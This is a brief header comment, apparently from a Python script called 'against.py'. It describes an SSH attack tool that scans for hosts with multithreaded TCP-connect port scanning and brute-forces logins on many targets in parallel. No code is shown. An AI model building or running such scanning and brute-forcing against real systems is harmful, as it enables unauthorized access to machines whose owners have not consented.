# DESCRIPTION                                                                  #
# 'against.py' is a very fast ssh attacking script which includes a            #
# multithreaded port scanning module (tcp connect) for discovering possible    #
# targets and a multithreaded brute-forcing module which attacks               #
# parallel all discovered hosts or given ip addresses from a list.             #
